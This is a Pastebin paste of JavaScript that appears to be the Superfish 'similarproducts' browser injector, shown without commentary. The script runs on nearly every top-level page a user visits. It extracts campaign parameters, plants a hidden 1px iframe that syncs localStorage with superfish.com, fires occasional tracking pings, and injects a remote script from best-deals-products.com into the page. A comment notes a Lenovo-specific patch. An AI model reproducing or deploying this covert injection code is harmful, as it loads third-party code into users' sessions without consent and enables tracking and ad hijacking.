Advertisement
nfmangano

Untitled

Feb 18th, 2015
3,869
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if (window == top && !window.similarproducts && navigator.appVersion.toLowerCase().indexOf('msie 7') == -1)
  2. {
  3.     (function()
  4.     {
  5.         var windowLocation = location.href.toLowerCase();
  6.         var nofish = false;
  7.         var metaTags = document.getElementsByTagName('meta');
  8.         var metaTag;
  9.  
  10.         for (var i=0, l=metaTags.length; i<l; i++)
  11.         {
  12.             metaTag = metaTags[i];
  13.  
  14.             if (metaTag.getAttribute('name') && metaTag.getAttribute('name').toLowerCase() == 'superfish' && metaTag.getAttribute('content') && metaTag.getAttribute('content').toLowerCase() == 'nofish')
  15.             {
  16.                 nofish = true;
  17.                 break;
  18.             }
  19.         }
  20.  
  21.         if (windowLocation.search(/\.google\./i) !== -1 && windowLocation.search(/^https?:\/\/(www|play)\.google\.(?!com\/analytics\/)/i) === -1)
  22.         {
  23.             nofish = true;
  24.         }
  25.  
  26.         //if  (nofish || !(windowLocation.indexOf('.google.') == -1 || windowLocation.indexOf('play.google.com') != -1 || (windowLocation.indexOf('www.google.') != -1 && windowLocation.indexOf('www.google.com/analytics/') == -1)))
  27.  
  28.         if  (nofish)
  29.         {
  30.             return;
  31.         }
  32.  
  33.        
  34.  
  35.         window.similarproducts = {};
  36. similarproducts.b = {
  37.     inj : function( d, url, js, cb)
  38. {
  39.     if (window.location.protocol.indexOf( "https" ) > -1 && url.indexOf( "localhost" ) == -1) {
  40.         url = url.replace("http:","https:");
  41.     }
  42.     else {
  43.         url = url.replace("https","http");
  44.     }
  45.  
  46.     var h = d.getElementsByTagName('head')[0];
  47.     var s = d.createElement( js ? "script" : 'link' );
  48.  
  49.     if( js ){
  50.         s.type = "text/javascript";
  51.         s.src = url;
  52.     }else{
  53.         s.rel = "stylesheet";
  54.         s.href = url;
  55.     }
  56.     if(cb){
  57.         s.onload = ( function( prm ){
  58.             return function(){
  59.                 cb( prm );
  60.             }
  61.         })( url );
  62.         // IE
  63.         s.onreadystatechange = ( function( prm ) {
  64.             return function(){
  65.                 if (this.readyState == 'complete' || this.readyState == 'loaded') {
  66.                     setTimeout( (function(u){
  67.                         return function(){
  68.                             cb( u )
  69.                         }
  70.                     })(prm), 300 );
  71.                 }
  72.             }
  73.         })( url );
  74.     }
  75.     h.appendChild(s);
  76.     return s;
  77. }
  78. };
  79.  
  80. similarproducts.ver = {
  81.     ver : "",
  82.     calcAppVersion: function ()
  83.     {
  84.         if(this.ver === ""){
  85.             var CRMLastUpdate = '2014-10-22 07:40:10.713';
  86.             var globalAppVersion = '14.10.22.3';
  87.  
  88.             var globalAppVersionDateParts = globalAppVersion.split('.');
  89.             var globalAppVersionYear = +globalAppVersionDateParts[0] + 2000;
  90.             var globalAppVersionMonth = +globalAppVersionDateParts[1] - 1;
  91.             var globalAppVersionDay = +globalAppVersionDateParts[2];
  92.             var globalAppVersionHour = +globalAppVersionDateParts[3];
  93.  
  94.             if( CRMLastUpdate !== ''){
  95.                 var CRMLastUpdateDateParts = CRMLastUpdate.split('-');
  96.                 var CRMLastUpdateYear = +CRMLastUpdateDateParts[0];
  97.                 var CRMLastUpdateMonth = +CRMLastUpdateDateParts[1] - 1;
  98.                 var CRMLastUpdateDay = +CRMLastUpdateDateParts[2].split(' ')[0];
  99.                 var CRMLastUpdateHour = +CRMLastUpdateDateParts[2].split(' ')[1].split(':')[0];
  100.                 var CRMLastUpdateMin = +CRMLastUpdateDateParts[2].split(' ')[1].split(':')[1];
  101.  
  102.                 var CRMLastUpdateDate = new Date(CRMLastUpdateYear,CRMLastUpdateMonth,CRMLastUpdateDay,CRMLastUpdateHour,CRMLastUpdateMin,0,0)
  103.                 var globalAppVersionDate = new Date(globalAppVersionYear,globalAppVersionMonth,globalAppVersionDay,globalAppVersionHour,0,0,0)
  104.  
  105.                 if(CRMLastUpdateDate > globalAppVersionDate){
  106.                     this.ver = [CRMLastUpdateYear,CRMLastUpdateMonth + 1,CRMLastUpdateDay,CRMLastUpdateHour,CRMLastUpdateMin].join('.');
  107.                 } else {
  108.                     this.ver = [globalAppVersionYear,globalAppVersionMonth + 1,globalAppVersionDay,globalAppVersionHour,'1'].join('.');
  109.                 }
  110.             } else {
  111.                 this.ver = [globalAppVersionYear,globalAppVersionMonth + 1,globalAppVersionDay,globalAppVersionHour,'1'].join('.');
  112.             }
  113.         }
  114.         return this.ver;
  115.     }
  116. };
  117.  
  118.  
  119.         var srcRegex = /\/sf_main\.|\/sf_conduit\.|\/sf_conduit_mam\.|\/sf_conduit_mam_app\.|\/sfw\./i; // Test for script tag src that may contain the app params query string
  120.         var queryStringRegex = /CTID=(CT2680812|CT2652911|CT2659749|CT2695421|CT2666540)/i // Test for "specialsavings" patch
  121.         var retryCounter = 1; // Used in the run() function as a fallback condition after 5 attempts
  122.         var timeoutHandle;
  123.  
  124.         function extractQueryString()
  125.         {
  126.             var queryString = '';
  127.             var scripts = document.getElementsByTagName('script');
  128.             var scriptSrc;
  129.  
  130.             try
  131.             {
  132.                 for (var i=0, l=scripts.length; i<l; i++)
  133.                 {
  134.                     scriptSrc = scripts[i].src;
  135.  
  136.                     if (srcRegex.test(scriptSrc))
  137.                     {
  138.                         if (scriptSrc.indexOf('?') != -1)
  139.                         {
  140.                             var tempQueryString = scriptSrc.substring(scriptSrc.indexOf('?'));
  141.                             queryString = fixQs(tempQueryString);
  142.                         }
  143.  
  144.                         break;
  145.                     }
  146.                 }
  147.             }
  148.             catch(ex)
  149.             {
  150.                 queryString = '';
  151.             }
  152.  
  153.             return queryString;
  154.         }
  155.  
  156.         function fixQs(initialQS){
  157.             var fixedQS = '?';
  158.             initialQS.replace(
  159.                 new RegExp("([^?=&]+)(=([^&]*))?", "g"),
  160.                 function($0, $1, $2, $3)
  161.                 {
  162.  
  163.                     switch ($1)
  164.                     {
  165.                         case 'dlsource':
  166.                             $3 = decodeURIComponent($3).replace(/^\s+|\s+$/g,"");
  167.                         break;
  168.                     }
  169.  
  170.                     fixedQS = fixedQS + $1 + '=' + $3 + '&';
  171.                 }
  172.             );
  173.             return fixedQS.substring(0, fixedQS.length - 1);
  174.         }
  175.  
  176.         function loadApp(queryString)
  177.         {
  178.             var appVersion = similarproducts.ver.calcAppVersion();
  179.             queryString += (queryString == '') ? '?' : '&';
  180.             queryString += 'ver='+appVersion;
  181.  
  182.             if (queryStringRegex.test(queryString)) // Specialsavings patch
  183.             {
  184.                 if (queryString.indexOf('dlsource=') > -1)
  185.                 {
  186.                     queryString = queryString.replace(/dlsource=([^&]*)?/g, 'dlsource=specialsavings_tb');
  187.                 }
  188.                 else
  189.                 {
  190.                     queryString += '&dlsource=specialsavings_tb';
  191.                 }
  192.             }
  193.  
  194.             if (location.protocol === 'https:' && queryString.search(/dlsource=hdrykzc/i) !== -1) // Patch for Lenovo - do not run on https sites
  195.             {
  196.                 return;
  197.             }
  198.  
  199.             // Assign values to the global similarproducts object
  200.             similarproducts.b.initialQS = queryString;
  201.             similarproducts.b.inj(window.document, 'https://www.best-deals-products.com/ws/sf_preloader.jsp' + queryString, 1);
  202.         }
  203.  
  204.         var syncLocalStorage = (function () {
  205.         var syncLocalStorageFromUrl = 'https://www.superfish.com/ws';
  206.         var xdMsgDelimiter = '*sfxd*';
  207.         var currentDomain = 'https://www.best-deals-products.com/ws/';
  208.         var getLocalStorageUrl = currentDomain + "sf_postLocalStorage.jsp?syncFrom=" + encodeURIComponent(syncLocalStorageFromUrl);
  209.         var msgCallback = function() {};
  210.         var endCallback = function() {};
  211.         var timer = 0;
  212.         var postObj = {};
  213.         var qs = {};
  214.         var needToCallBack = true;
  215.         var debug = false;
  216.  
  217.         function setQueryString(obj_to_add,initial_QS){
  218.             obj_to_add.qsObj={};
  219.             initial_QS.replace(
  220.                 new RegExp("([^?=&]+)(=([^&]*))?", "g"),
  221.                 function($0, $1, $2, $3)
  222.                 {
  223.                     obj_to_add.qsObj[$1] = decodeURIComponent($3);
  224.                 }
  225.             );
  226.         }
  227.  
  228.         function log(msg) {
  229.             if(debug && window.console) {
  230.                 var dDate = new Date();
  231.                 window.console.log('syncLocalStorage : ' + dDate.getTime() + " - " + msg);
  232.             }
  233.         }
  234.  
  235.         var xdmsg = {
  236.             postMsg : function( target, param ){
  237.                 if( target != window ){
  238.                     target.postMessage( param, "*" );
  239.                 }
  240.             },
  241.  
  242.             getMsg : function(event){
  243.                 msgCallback(event.data, event.origin);
  244.             },
  245.  
  246.             init: function(cbFunction){
  247.                 msgCallback = cbFunction;
  248.                 if( window.addEventListener ){
  249.                     window.addEventListener("message", this.getMsg, false);
  250.                 }else{
  251.                     window.attachEvent('onmessage', this.getMsg);
  252.                 }
  253.             },
  254.  
  255.             kill: function (){
  256.                 if( window.removeEventListener ){
  257.                     window.removeEventListener("message", this.getMsg, false);
  258.                 }else{
  259.                     if (window.detachEvent) {
  260.                         window.detachEvent ('onmessage', this.getMsg);
  261.                     }
  262.                 }
  263.             }
  264.         };
  265.  
  266.         function gotMessage(msg, from) {
  267.             if(from && from.split('://')[1].indexOf(currentDomain.split('://')[1].split('/')[0]) == -1 ) {
  268.                 return;
  269.             }
  270.  
  271.             if (!msg) {
  272.                 return;
  273.             }
  274.  
  275.             var prep = msg.split(xdMsgDelimiter);
  276.             if (+prep[0] == -3355) {
  277.                 log("Got message from Iframe - " + prep[1]);
  278.                 clearTimeout(timer);
  279.                 if(needToCallBack){
  280.                     if (endCallback && typeof(endCallback) === 'function') {
  281.                         endCallback();
  282.                     }
  283.                 }
  284.             }
  285.  
  286.         }
  287.  
  288.         function createIframe(queryString,callback){
  289.             log("in createIframe");
  290.             getLocalStorageUrl = getLocalStorageUrl + queryString.replace('?','&');
  291.             if (window.location.protocol.indexOf( "https" ) > -1 && getLocalStorageUrl.indexOf( "localhost" ) == -1) {
  292.                 getLocalStorageUrl = getLocalStorageUrl.replace("http:","https:");
  293.             } else {
  294.                 getLocalStorageUrl = getLocalStorageUrl.replace("https:","http:");
  295.             }
  296.  
  297.             var ifrm;
  298.             ifrm = document.createElement("IFRAME");
  299.             ifrm.setAttribute("src", getLocalStorageUrl);
  300.             ifrm.setAttribute("style", "position:absolute; top:-20px; left:-20px;");
  301.             ifrm.setAttribute("id", "sfPostLocalStorage");
  302.             ifrm.style.width = "1px";
  303.             ifrm.style.height = "1px";
  304.             if(syncLocalStorageFromUrl !== 'NA' && syncLocalStorageFromUrl.split('/')[2] !== currentDomain.split('/')[2]){
  305.                 log("Need to sync");
  306.                 xdmsg.init(gotMessage);
  307.                 timer = setTimeout(function() {
  308.                     log("in syncLocalStorageTimeOut");
  309.                     needToCallBack = false;
  310.                     if(Math.floor(Math.random() * 10) == 1) {
  311.                         var url = currentDomain + "trackSession.action?userid=NA&sessionid=NA&action=syncLocalStorageTimeOut";
  312.                         var img = new Image();
  313.                         img.src = url;
  314.                      }
  315.                     if (callback && typeof(callback) === 'function') {
  316.                         callback();
  317.                     }
  318.                 }, 5000);
  319.                 document.body.appendChild(ifrm);
  320.                 log("Iframe created");
  321.                 if (callback && typeof(callback) === 'function') {
  322.                     endCallback = callback;
  323.                 }
  324.             } else {
  325.                 log("No need to sync");
  326.                 if (callback && typeof(callback) === 'function') {
  327.                     callback();
  328.                 }
  329.             }
  330.         }
  331.      return {
  332.          createIframe: createIframe
  333.      };
  334.  
  335.  })();
  336.  
  337.         function run()
  338.         {
  339.             var queryString = extractQueryString();
  340.  
  341.             timeoutHandle && clearTimeout(timeoutHandle);
  342.  
  343.             if (queryString || retryCounter >= 5)
  344.             {
  345.                 var appVersion = similarproducts.ver.calcAppVersion();
  346.  
  347.                 window['sup'+'erf'+'ish'] = similarproducts;
  348.  
  349.                 syncLocalStorage.createIframe(queryString + '&ver='+appVersion, function()
  350.                 {
  351.                     loadApp(queryString);
  352.                 });
  353.             }
  354.             else
  355.             {
  356.                 retryCounter++;
  357.                 timeoutHandle = setTimeout(run, 50);
  358.             }
  359.         }
  360.  
  361.         /* --- Begin app loading cycle --- */
  362.         run();
  363.     })();
  364. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement